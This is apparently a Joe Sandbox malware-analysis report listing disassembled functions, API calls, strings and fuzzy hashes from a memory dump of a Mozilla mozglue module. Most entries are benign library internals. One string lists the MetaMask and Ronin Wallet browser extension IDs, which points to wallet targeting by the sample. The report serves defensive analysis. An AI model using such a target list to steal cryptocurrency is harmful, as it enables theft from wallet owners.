Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction ID: 5a4afbf9f5d41ee9f595bac782edf140fde5f3fece0a6295c36dde95f4129772
Opcode Fuzzy Hash: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction Fuzzy Hash: DC51DF71A09310AFDB11CF25C884B9BBBF4BF89714F54992DF99987640D770E808CB9A

Function 6C61DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61DE73
GetCurrentThreadId.KERNEL32 ref: 6C61DF7D
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DF8A
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DFC9
GetCurrentThreadId.KERNEL32 ref: 6C61DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C61DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C61E00E
<none>, xrefs: 6C61DFD7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction ID: 9e4617f139495c078254cd5e12d3ac6a1b72213652c6d1ed577c7a4d9203a4ed
Opcode Fuzzy Hash: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction Fuzzy Hash: 55412431B052109FDB11DF6AD8887AA7775EF8230EFA40019E90597F42CB319906CBEE

Function 6C5D4480 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C614843,?), ref: 6C5D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C614843,?), ref: 6C5D468A
free.MOZGLUE(?,?,?,?,?,?,6C614843,?), ref: 6C5D46C9
free.MOZGLUE(?), ref: 6C5D46EF
free.MOZGLUE(?), ref: 6C5D4712
free.MOZGLUE(?), ref: 6C5D4735
free.MOZGLUE(?), ref: 6C5D4758
free.MOZGLUE(?), ref: 6C5D477B
free.MOZGLUE(?), ref: 6C5D479E

Strings

0|webextension@metamask.io|Ronin Wallet|0|ronin-wallet@axieinfinity.com|, xrefs: 6C5D45B2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 0|webextension@metamask.io|Ronin Wallet|0|ronin-wallet@axieinfinity.com|
API String ID: 3009372454-3929912851
Opcode ID: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction ID: 6b4d7400da3f025c1cc641b2b122a39e568db534936918d755deeba5f8b02fb1
Opcode Fuzzy Hash: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction Fuzzy Hash: 94B1E571A002508FDB18CF3CDC9076D77A2AF81328F1A4669E416DBB96E731EC80CB85

Function 6C62D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D52A
GetCurrentThreadId.KERNEL32 ref: 6C62D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D55F
free.MOZGLUE(00000000), ref: 6C62D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C62D5D3
GetCurrentThreadId.KERNEL32 ref: 6C62D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D652
GetCurrentThreadId.KERNEL32 ref: 6C62D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D6A2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction ID: 73cc5812aa1e2ad56b50234df0af105450e43b78cca1fe9e9d92928e4fe98561
Opcode Fuzzy Hash: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction Fuzzy Hash: 93519A71604705EFC704DF35C888A9ABBF4FF89358F508A2EE94A97710DB34A845CB99

Function 6C5D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EC1
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EE1
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F38
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5D1F83
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FC0
EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FE2
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D2019

Strings

MOZ_CRASH(), xrefs: 6C5D2000
\el, xrefs: 6C5D1F3E
Del, xrefs: 6C5D1F56
Del, xrefs: 6C5D1F32

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Del$Del$MOZ_CRASH()$\el
API String ID: 2055633661-1438815362
Opcode ID: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction ID: 7a937927a90424523d5a80ea1620a873e142cdb086cc4a0cf01fd730f9a760db
Opcode Fuzzy Hash: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction Fuzzy Hash: D741B071B043168FDF01CF69CC84B6A3AB5EB8A358F650025E90597741D775A804CBEE

Function 6C5F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F57BC
GetTickCount64.KERNEL32 ref: 6C5F58CB
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F58F3
__aulldiv.LIBCMT ref: 6C5F5945
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C65F638,?,?,?,?), ref: 6C5F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5F56CC

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction ID: 3993a73a985e7228754418fc0a024638683cec3c1b00afd32f6e60b43626766b
Opcode Fuzzy Hash: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction Fuzzy Hash: 1AC18E31A09740DFDB09CF29C88065ABBF1FFCA354F958A1DE4D457660D730A886CB86

Function 6C61EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EC8C

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61ECA1
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C61ECC5
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61ED19
CloseHandle.KERNEL32(?), ref: 6C61ED28
free.MOZGLUE(00000000), ref: 6C61ED2F
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C61EC94

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction ID: 6a1656a2faf969033ae06076eda4606af3c72a53ea480d86065bcaa933f2c1a7
Opcode Fuzzy Hash: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction Fuzzy Hash: 1221F6716041049BDF01DF2ADC48AAA77B9EF8636EFA44210FD1497F41DB31D8168BAE

Function 6C618ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C61B392,?,?,00000001), ref: 6C6191F4

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Strings

marker-table, xrefs: 6C61906C
data, xrefs: 6C6190E8
timeline-fileio, xrefs: 6C6190A4
timeline-ipc, xrefs: 6C619096
timeline-memory, xrefs: 6C619088
timeline-overview, xrefs: 6C61907A
stack-chart, xrefs: 6C6190B2
name, xrefs: 6C618F16
marker-chart, xrefs: 6C61905E

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction ID: 50f659b3ae74c031d584d068a7a3c2a133b141ec3ff5543edbc0b85253ab959f
Opcode Fuzzy Hash: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction Fuzzy Hash: B5B1D3B1A04209DBDB04CF98C8917EEBBB6AF85319F608019D402ABF80D771ED44CBD9

Function 6C5FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FCAA5

Strings

0, xrefs: 6C5FD30A
(null), xrefs: 6C5FC596

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction ID: 77fec1d1f78ecf1b974832e6b75ac76c7fffb63a22507b34b03b71bcfa9b0df6
Opcode Fuzzy Hash: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction Fuzzy Hash: 71A1A23060C3429FDB15DF29C98475ABBF1AF89748F04882DE9AA97741D771E806CF86

Function 6C5D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5D350E
__Init_thread_footer.LIBCMT ref: 6C5D3522
__aulldiv.LIBCMT ref: 6C5D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3592

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5D3508
kernel32.dll, xrefs: 6C5D34EA

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction ID: ff6c90751ecf899f450b2ba8a89e7fe0e4718e82eb8efba589af9a66fba505de
Opcode Fuzzy Hash: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction Fuzzy Hash: 8E31C471B012059BDF04DFBACD98AAE77B5FB86304F650419E501E3690EB70A905CF69

Function 6C63AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C63AC52
CreateFileMappingW.KERNEL32 ref: 6C63AC7D
GetSystemInfo.KERNEL32 ref: 6C63AC98
MapViewOfFile.KERNEL32 ref: 6C63ACB0
GetSystemInfo.KERNEL32 ref: 6C63ACCD
MapViewOfFile.KERNEL32 ref: 6C63AD05
UnmapViewOfFile.KERNEL32 ref: 6C63AD1C
CloseHandle.KERNEL32 ref: 6C63AD28
UnmapViewOfFile.KERNEL32 ref: 6C63AD37
CloseHandle.KERNEL32 ref: 6C63AD43
CloseHandle.KERNEL32 ref: 6C63AD67

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction ID: ddc07e36fd5e50f32547a8b0577775114b9e7bcfdb4c27cac3422107b737a387
Opcode Fuzzy Hash: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction Fuzzy Hash: C03172B1A047048FDB00EFBDD68826EBBF0FF85305F55992DE98997211EB709449CB86

Function 6C5E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
ntdll.dll, xrefs: 6C5E96E3

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction ID: 152b3323a961b0a00fb16486163bcb58ca1ba9b152b148bacdbeedcefa109258
Opcode Fuzzy Hash: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction Fuzzy Hash: F541ADB17002069FDF00DFA6ECD4E967BB4EB4A364FA04128ED0597740D730A818CFAA

Function 6C5E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E7EA7
malloc.MOZGLUE(00000001), ref: 6C5E7EB3

Part of subcall function 6C5ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5ECB49
Part of subcall function 6C5ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5E7F19
malloc.MOZGLUE(?), ref: 6C5E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E7F4D

Strings

d, xrefs: 6C5E7F89

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
